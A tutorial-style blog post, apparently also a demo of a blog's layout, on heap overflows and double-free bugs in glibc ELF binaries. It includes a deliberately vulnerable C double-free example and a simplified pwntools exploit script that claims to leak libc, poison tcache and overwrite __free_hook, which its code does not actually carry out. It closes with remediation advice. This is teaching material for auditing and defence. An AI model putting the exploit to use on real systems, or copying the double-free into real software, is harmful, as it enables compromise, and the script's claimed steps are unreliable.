Deep Dive: Hunting Heap Overflows in ELF Binaries

Introduction #

Unlike stack-based buffer overflows, heap-based vulnerabilities reside in the dynamically allocated memory region managed by standard allocators such as glibc's ptmalloc2. Understanding heap layout and chunk metadata is paramount to auditing ELF binaries for memory corruption.[1]

This post is intentionally kitchen-sink: every typographic primitive the blog supports is exercised here on a single deep-dive so you can see the left progress index, right marginalia, and all text-box variants in one scroll.

The Anatomy of a Heap Chunk #

In 64-bit glibc, every allocated block is 16-byte aligned and represented by a contiguous chunk header that prefixes user data. The header stores size + flags that drive coalescing and binning.

Chunk flags, AMP bits #

The lowest 3 bits of size are flags, not size:

/* Schematic, allocated chunk (64-bit) */
+-----------------------------+-----------------------------+
|      Previous Chunk Size    |      Current Chunk size |AMP|
+-----------------------------+-----------------------------+
|                          User Data Area                   |
|                      (returns to malloc)                  |
+-----------------------------------------------------------+
/* When free, user area holds fd/bk pointers */

“Judgement has always been easier than construction. AI just made it legible.” In heap auditing, judgement is spotting a plausible free; craft is proving overlap.

Marginal note pattern

The Double-Free Vulnerability #

When a chunk is freed twice without clearing the pointer, bin structures (fastbins / tcache) can form cycles or duplicate references to the same slot. Later malloc returns the same address twice, two live pointers to one region.

Example: vulnerable C #

#include <stdio.h>
#include <stdlib.h>

int main() {
    void *p1 = malloc(64);
    void *p2 = malloc(64);

    free(p1);
    free(p2);
    free(p1); // Vulnerable double free!

    void *p3 = malloc(64); // Allocates p1 again
    void *p4 = malloc(64); // Allocates p2
    void *p5 = malloc(64); // Allocates p1 AGAIN (overlaps p3!)
    // p3 and p5 now alias, write to one corrupts the other
}

tcache & Modern Hardening #

Thread-local caching (tcache) speeds up small allocations but creates new abuse surfaces: poisoning the singly-linked tcache freelist lets an attacker craft an arbitrary-chunk allocation.

Recall #

Exploitation Lab #

Let's weaponize the primitive with pwntools. We groom the heap, leak a libc pointer from unsorted bin, then overwrite __free_hook via tcache poisoning. Numbers simplified for demo.

from pwn import *

p = process('./vuln')
# groom: allocate 7 chunks to empty tcache bin
chunks = [p.sendlineafter(b'> ', b'1') for _ in range(7)]
for c in chunks: p.sendlineafter(b'> ', b'2')  # free all -> tcache filled
p.sendlineafter(b'> ', b'2')  # double free trigger
# leak
p.sendlineafter(b'> ', b'3')
libc_leak = u64(p.recvline().strip().ljust(8,b'\x00'))
log.success(f'libc leak: {hex(libc_leak)}')
# tcache poison -> arbitrary write
p.sendlineafter(b'> ', b'4')
p.sendline(b'/bin/sh\x00')
p.interactive()

Visualising corruption #

Mitigations & Fixes #

Remediation is both cultural (null after free) and toolchain-driven (hardened allocators, fortify).

As a checklist when you audit a C codebase for heap hygiene:

1. Trace every malloc to its free, flag unpaired frees.
2. Enforce free; null idiom via clang-tidy rule.
3. Fuzz with AddressSanitizer, double-free is caught as attempting double-free.
4. Ship with hardened allocator in prod if latency allows.

Up next, automatic exploit synthesis with pwntools + GDB GEF. This kitchen-sink article stays as the demo for all blog primitives, left index, marginalia, callouts, code, figures, tables, footnotes.

Footnotes #